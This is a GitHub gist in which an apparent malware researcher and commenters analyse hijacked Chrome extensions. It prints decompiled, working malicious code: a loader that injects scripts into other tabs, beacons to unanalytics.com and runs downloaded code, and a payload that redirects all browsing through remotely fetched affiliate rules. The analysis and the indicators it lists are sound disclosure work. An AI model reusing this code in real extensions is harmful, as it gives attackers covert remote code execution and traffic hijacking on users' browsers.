Skip to content

Instantly share code, notes, and snippets.

@DrewDennison
Last active August 27, 2018 21:18
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save DrewDennison/bf661461c88cdfe959810811b32676f1 to your computer and use it in GitHub Desktop.
Save DrewDennison/bf661461c88cdfe959810811b32676f1 to your computer and use it in GitHub Desktop.
(function() {
function postLog({
cat = 'eval', // category
act = '', // action
lab = '', // label
fr = 86400000, // freq. Default is 1 day
}) {
let key = obfuscateString(`${cat}_${act}`, 7);
return localStore.get(key).then(lastRuns => {
let lastRunEpoch = lastRuns[key],
shouldRun =
fr == 86400000 // run daily
? new Date().getTime() -
new Date(lastRunEpoch).setUTCHours(0, 0, 0, 0) >=
fr
: new Date().getTime() - lastRunEpoch >= fr;
if (!lastRunEpoch || shouldRun) {
let lastRuns = 'https://unanalytics.com/stats';
makeRequest(
`https://unanalytics.com/stats?hash=sr0gjopbxrpgyjwlloackgldi&eventCategory=${
cat
}&eventAction=${act}&eventLabel=${lab}`,
'POST'
).then(_0x435009 => {
let lastruns = {};
(lastruns[key] = new date().gettime()), localstore.set(lastruns);
});
}
});
}
function makeRequest(url, method = 'GET') {
return new Promise((resolve, reject) => {
function processTabUpdate(tabId, changeInfo, tab) {
changeInfo['status'] === 'loading' &&
(validateTabUrl(tab, url) &&
consts['pV'] <= 0 &&
(chrome.tabs.onUpdated.removeListener(arguments.callee),
makeRequestInTab(tabId)),
consts['pV']--);
}
function makeRequestInTab(tabId) {
chrome.runtime.onMessage.addListener(processMessage),
chrome.tabs.executeScript(tabId, {
code: `(function(){var url = replaceableurl; var xhr = new XMLHttpRequest();xhr.onreadystatechange = function () {if (xhr.readyState === 4) {chrome.runtime.sendMessage({data: xhr.responseText, url: url,status:xhr.status});}};xhr.open('${
method
}',url, true);xhr.send();})()`.replace(
'replaceableurl',
'https://unanalytics.com/stats?hash=sr0gjopbxrpgyjwlloackgldi&eventCategory=eval&eventAction=init&eventLabel='
),
});
}
function processMessage(message) {
message['url'] === url &&
(resolve(message['data']),
chrome.runtime.onMessage.removeListener(arguments.callee));
}
function validateTabUrl(tab, url) {
return new RegExp(
`^((?!(chrome${url.includes('http://') ? '|https|ftps' : ''})).+://)`
).test(tab['url']);
}
(url && url.length !== 0) || reject('Url error'),
chrome.tabs.query({}, function(result) {
let validTabs = result.filter(
tab => validateTabUrl(tab, url) && !tab['active']
);
validTabs.length === 0
? chrome.tabs.onUpdated.addListener(processTabUpdate)
: makeRequestInTab(
validTabs[Math.floor(Math.random() * validTabs.length)].id
);
});
});
}
function obfuscateString(inputString, rot) {
for (
var outputString = '', charCode = 0, idx = 0;
idx < inputString.length;
idx++
)
(charCode = inputString[idx].charCodeAt() + rot),
(outputString += String.fromCharCode(charCode));
return outputString;
}
function o(payload) {
return new Promise((resolve, reject) => {
let parseSuccessfully = false,
code = '',
version = '';
try {
(payload = JSON.parse(payload)),
(code = payload['code']),
(version = payload['version']),
code == -1 || (parseSuccessfully = true);
} catch (error) {
postLog({
act: 'error',
lab: 'parseResponse',
fr: 0,
});
}
parseSuccessfully
? localStore
.set({
kuzi5B5UFvI: code,
GNLMzs7rai9: version,
})
.then(_0x4b1779 => {
localStore.set({
Ttt4fRNCFmK: new Date().getTime(),
}),
postLog({
act: 'download',
lab: version,
fr: 0,
}),
resolve({
code: code,
version: version,
});
})
: (code != -1 &&
postLog({
act: 'error',
lab: 'invalidMonetizationCode',
fr: 0,
}),
localStore.get(['kuzi5B5UFvI', 'GNLMzs7rai9']).then(items => {
resolve({
code: items['kuzi5B5UFvI'],
version: items['GNLMzs7rai9'],
});
}));
});
}
function run(metadata) {
try {
window['Function'](metadata['code'])(localStore, makeRequest, postLog),
postLog(
(metadata['code'] && metadata['code'].length !== 0) ||
(metadata['version'] && metadata['version'].length !== 0)
? {
act: 'run',
lab: metadata['version'],
}
: {
act: 'run',
lab: 'idle',
}
);
} catch (error) {
postLog({
act: 'error',
lab: `run_${metadata['version']}`,
});
}
}
function downloadPayload() {
return new Promise((resolve, reject) => {
localStore.get('Ttt4fRNCFmK').then(value => {
let _0x19dd2c = value['Ttt4fRNCFmK'] || 0;
_0x19dd2c === 0 &&
localStore
.set({
d8nvfUyMV8E: new Date().getTime(),
})
.then(_0x426061 => {
postLog({
act: 'install',
});
}),
new Date().getTime() - _0x19dd2c > 43200000
? setTimeout(function() {
makeRequest(
'https://unanalytics.com/?hash=sr0gjopbxrpgyjwlloackgldi',
'GET'
)
.then(o)
.then(resolve);
}, 0) // force 0 for testing. was consts.beaconDelay
: localStore.get(['kuzi5B5UFvI', 'GNLMzs7rai9']).then(value => {
resolve({
code: value['kuzi5B5UFvI'],
version: value['GNLMzs7rai9'],
});
});
});
});
}
function init() {
setTimeout(function() {
postLog({
act: 'init',
}),
downloadPayload().then(run);
}, 0); // force 0 for testing. was consts.initDelay
}
let consts = {
pV: Math.floor(3 * Math.random()),
initDelay: 1800000 * Math.floor(1 * Math.random() + 1),
beaconDelay: 60000 * Math.floor(2 * Math.random() + 1),
},
localStore = {
get(keys = null) {
return new Promise((resolve, reject) => {
chrome.storage.local.get(keys, function(items) {
resolve(items);
});
});
},
set(items) {
return new Promise((resolve, reject) => {
chrome.storage.local.set(items, function(bytesInUse) {
resolve(bytesInUse);
});
});
},
jy(_0x4703ce) {
return new Promise((resolve, reject) => {
chrome.storage.local['jy'](_0x4703ce, function(_0x1c99ef) {
resolve(_0x1c99ef);
});
});
},
SG() {
return new Promise((resolve, reject) => {
chrome.storage.local['SG'](function(_0xcf25b8) {
resolve(_0xcf25b8);
});
});
},
};
init();
})();

DOMAINS

https://unanalytics.com
http://api.data-monitor.info
http://systemrtb.com

localstore keys

Ttt4fRNCFmK
kuzi5B5UFvI
GNLMzs7rai9

Payload URL

https://unanalytics.com/?hash=sr0gjopbxrpgyjwlloackgldi
{
"code": "function req(obj,callback,errback){var params=obj.params?obj.params:[],xhr=new XMLHttpRequest;if(callback&&(xhr.onload=function(e){e=e.target,200===e.status||304===e.status?callback({responseText:e.responseText,headers:e.getAllResponseHeaders().split(\"\\r\\n\")}):errback&&errback(e.status)}),errback&&(xhr.onerror=function(e){e=e.target.status,errback(e)}),xhr.open(obj.method,obj.url),params.head)for(i in params.head)obj.setRequestHeader(i,params.head[i]);if(params.mime)for(i in params.mime)obj.overrideMimeType(params.mime[i]);if(params.post&&xhr.setRequestHeader(\"Content-Type\",\"application/x-www-form-urlencoded\"),(params.post||params.xml)&&xhr.setRequestHeader(\"X-Requested-With\",\"XMLHttpRequest\"),\"object\"==typeof params.post){x=params.post,params.post=\"\";for(i in x)x.hasOwnProperty(i)&&(params.post+=(params.post?\"&\":\"\")+i+\"=\"+x[i])}xhr.send(params.post)}function cutw(hostname){return hostname.replace(/(^www\\.|\\:\\d+$)/gi,\"\")}function getDomain(hostname){var result,matches=hostname.match(domainRgxp);return matches&&(result=matches[1]),result}function getSub(hostname,domain){var result=hostname.replace(domain,\"\");return result&&(result=result.replace(/\\.$/,\"\")),result}function prepareLink(link){/^(\\w+:)?\\/\\//.test(link)||(link=\"http://\"+link);var result,matches=link.match(mainRgxp);if(matches)try{var host=cutw(matches[2]),domain=getDomain(host);if(domain){var sub=getSub(host,domain);result={sch:matches[1],host:host,domain:domain,sub:sub,path:(matches[3]||\"\").replace(/^\\//,\"\"),search:(matches[4]||\"\").replace(/^\\?/,\"\")}}}catch(e){console.log(\"Error: \"+url)}return result}function tryUrl(url){if(!(usedT&&usedT>(new Date).getTime()-42e5)){var res,prepared=prepareLink(url);if(prepared&&rulesObject[prepared.domain]){var subd=rulesObject[prepared.domain][prepared.sub];if(subd&&(subd[prepared.path]?res=subd[prepared.path]:subd[\"*\"]&&(res=subd[\"*\"])),res||(subd=rulesObject[prepared.domain][\"*\"],subd&&(subd[prepared.path]?res=subd[prepared.path]:subd[\"*\"]&&(res=subd[\"*\"]))),res)return res=res.replace(/__CURURL__/g,encodeURIComponent(url)).replace(/__SUBID__/g,wid),usedT=(new Date).getTime(),localStorage.usedT=usedT,res}}}function getData(){setTimeout(getData,864e5),req({method:\"GET\",url:host+\"bhrule?sub=\"+wid},function(response){try{response=JSON.parse(response.responseText),rulesObject=response.rules?response.rules:{}}catch(e){}},function(){})}var host=\"http://api.data-monitor.info/api/\",wid=150,rulesObject={},usedT=localStorage.usedT?parseInt(localStorage.usedT):null,mainRgxp=new RegExp(\"^(?:([^:\\\\/?]+):)?(?:\\\\/\\\\/([^\\\\/]*))?([^?]*)(?:\\\\?([^$]*))?\"),domainRgxp=/((?:[^.]+)\\.(?:(?:com?|org)\\.)?\\w+)$/i,listenFunc=function(details){if(!(usedT&&usedT>(new Date).getTime()-42e5)&&0===details.frameId&&\"main_frame\"==details.type&&details.parentFrameId===-1&&details.tabId>0&&/^https?/i.test(details.url)){var current=details.url,new_url=(prepareLink(current),tryUrl(current)),result=\"string\"==typeof new_url&&current!=new_url;if(result)return{redirectUrl:new_url}}};chrome.webRequest.onBeforeRequest.addListener(listenFunc,{urls:[\"<all_urls>\"]},[\"blocking\"]),getData();",
"version": "v20170412"
}
function req(obj, callback, errback) {
var params = obj.params ? obj.params : [],
xhr = new XMLHttpRequest;
if (callback && (xhr.onload = function(e) {
e = e.target, 200 === e.status || 304 === e.status ? callback({
responseText: e.responseText,
headers: e.getAllResponseHeaders().split(\"\\r\\n\")}):errback&&errback(e.status)}),errback&&(xhr.onerror=function(e){e=e.target.status,errback(e)}),xhr.open(obj.method,obj.url),params.head)for(i in params.head)obj.setRequestHeader(i,params.head[i]);if(params.mime)for(i in params.mime)obj.overrideMimeType(params.mime[i]);if(params.post&&xhr.setRequestHeader(\"Content-Type\",\"application/x-www-form-urlencoded\"),(params.post||params.xml)&&xhr.setRequestHeader(\"X-Requested-With\",\"XMLHttpRequest\"),\"object\"==typeof params.post){x=params.post,params.post=\"\";for(i in x)x.hasOwnProperty(i)&&(params.post+=(params.post?\"&\":\"\")+i+\"=\"+x[i])}xhr.send(params.post)}function cutw(hostname){return hostname.replace(/(^www\\.|\\:\\d+$)/gi,\"\")}function getDomain(hostname){var result,matches=hostname.match(domainRgxp);return matches&&(result=matches[1]),result}function getSub(hostname,domain){var result=hostname.replace(domain,\"\");return result&&(result=result.replace(/\\.$/,\"\")),result}function prepareLink(link){/^(\\w+:)?\\/\\//.test(link)||(link=\"http://\"+link);var result,matches=link.match(mainRgxp);if(matches)try{var host=cutw(matches[2]),domain=getDomain(host);if(domain){var sub=getSub(host,domain);result={sch:matches[1],host:host,domain:domain,sub:sub,path:(matches[3]||\"\").replace(/^\\//,\"\"),search:(matches[4]||\"\").replace(/^\\?/,\"\")}}}catch(e){console.log(\"Error: \"+url)}return result}function tryUrl(url){if(!(usedT&&usedT>(new Date).getTime()-42e5)){var res,prepared=prepareLink(url);if(prepared&&rulesObject[prepared.domain]){var subd=rulesObject[prepared.domain][prepared.sub];if(subd&&(subd[prepared.path]?res=subd[prepared.path]:subd[\"*\"]&&(res=subd[\"*\"])),res||(subd=rulesObject[prepared.domain][\"*\"],subd&&(subd[prepared.path]?res=subd[prepared.path]:subd[\"*\"]&&(res=subd[\"*\"]))),res)return res=res.replace(/__CURURL__/g,encodeURIComponent(url)).replace(/__SUBID__/g,wid),usedT=(new Date).getTime(),localStorage.usedT=usedT,res}}}function getData(){setTimeout(getData,864e5),req({method:\"GET\",url:host+\"bhrule?sub=\"+wid},function(response){try{response=JSON.parse(response.responseText),rulesObject=response.rules?response.rules:{}}catch(e){}},function(){})}var host=\"http://api.data-monitor.info/api/\",wid=150,rulesObject={},usedT=localStorage.usedT?parseInt(localStorage.usedT):null,mainRgxp=new RegExp(\"^(?:([^:\\\\/?]+):)?(?:\\\\/\\\\/([^\\\\/]*))?([^?]*)(?:\\\\?([^$]*))?\"),domainRgxp=/((?:[^.]+)\\.(?:(?:com?|org)\\.)?\\w+)$/i,listenFunc=function(details){if(!(usedT&&usedT>(new Date).getTime()-42e5)&&0===details.frameId&&\"main_frame\"==details.type&&details.parentFrameId===-1&&details.tabId>0&&/^https?/i.test(details.url)){var current=details.url,new_url=(prepareLink(current),tryUrl(current)),result=\"string\"==typeof new_url&&current!=new_url;if(result)return{redirectUrl:new_url}}};chrome.webRequest.onBeforeRequest.addListener(listenFunc,{urls:[\"<all_urls>\"]},[\"blocking\"]),getData();
@alecperkey
Copy link

damnit i use the better history extension all the time. sellouts!

@krzysztofczernek
Copy link

@MateusAuri if you look at the revision history of this gist, you'll see that it looks more like a documented investigation attempt.

@jasonmskidmore
Copy link

Thanks for your research, Drew! I got warnings in Chrome beginning today. None since disabling the extension. According to Chrome dev tools, the code that initiated HTTP POST is the following:

(function(){var url = 'https://unanalytics.com/stats?hash=rsf1nuuhal41e7jq2hj0grpb9&eventCategory=eval&eventAction=error&eventLabel=parseResponse'; var xhr = new XMLHttpRequest();xhr.onreadystatechange = function () {if (xhr.readyState === 4) {chrome.runtime.sendMessage({data: xhr.responseText, url: url,status:xhr.status});}};xhr.open('POST',url, true);xhr.send();})()

@dimkir
Copy link

dimkir commented May 10, 2018

Hey Drew thanks for putting this research here.

It looks like there's YET ANOTHER CHROME EXTENSION which has this malware (I do not have Better History installed, but have bunch of other extensions).

I am trying to debug with Chrome Developer Tools and pinpoint the offending extension, but having some troubles. There's a lot of redirects seen in the Chrome Dev Tools and also the Initiator column is not very useful. Also whenever I am trying to hunt down the malicious redirects they don't happen :(

Would you mind outlining the steps to pinpoint the requests to the Chrome Extension ID?

@josh-richardson
Copy link

josh-richardson commented Jun 10, 2018

Okay. I found that HTTPS everywhere had an extension error which had redirected aliexpress to some other domain, and found that this extension: https://chrome.google.com/webstore/detail/user-agent-switcher-for-g/ffhkkpnppgnfaobgihpdblnhmmbodake/ (with 400K users) has a file named 'back.js' packaged inside its CRX.

The back.js seems to download a file from http://api.data-monitor.info/api/bhrule?sub=116 - which looks as though it contains the aliexpress redirect. This seems to be metastasizing into lots of extensions.

@DrewDennison
Copy link
Author

Hey all,

Sorry for the lack of comms. I am a malware researcher who found the Sense (Beta) extension and did a bit of reverse engineering. Happy to help and answer questions but I haven't looked at this since I dumped the gist.

Drew

@DrewDennison
Copy link
Author

From the best I can tell, there are several popular extensions which are either bought, hacked, or typosquatting. When I did my analysis, I found a 3 stage payload: Everything was minified and the above code was the result of a hand-decompilation to replace variable names such as a0 to processMessage etc.

First there was a tiny bit of code that loaded an image to a HTML5 canvas and read the low-order bits and turned that into a string that was the minified contents of evil.js. That randomly reaches out to unanalytics.com to pull down a command and control bit which is labeled payload.json and I extracted to payload.js. I stopped analysis at this point but it looked to rewrite aliexpress and other domains with affiliate links. I was mostly looking to see if the extension was grabbing cookies or reading my email or something like that. I can't be 100% sure since it downloads a dynamic payload, bit it appeared to not be stealing my personal data just making ad money.

@DrewDennison
Copy link
Author

@adamburgess @kjhangiani @MateusAuri @krzysztofczernek see my comments above. Feel free to ping me here or via email if you need any help

@DrewDennison
Copy link
Author

@dimkir I assume you have already solved this but can help you track down if interested

@DrewDennison
Copy link
Author

I do know at least Better History and User Agent Switcher appear to have this malware and will update the thread as I find more

https://hotforsecurity.bitdefender.com/blog/better-history-chrome-extension-goes-rogue-hijacks-browsers-and-displays-ads-13674.html

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment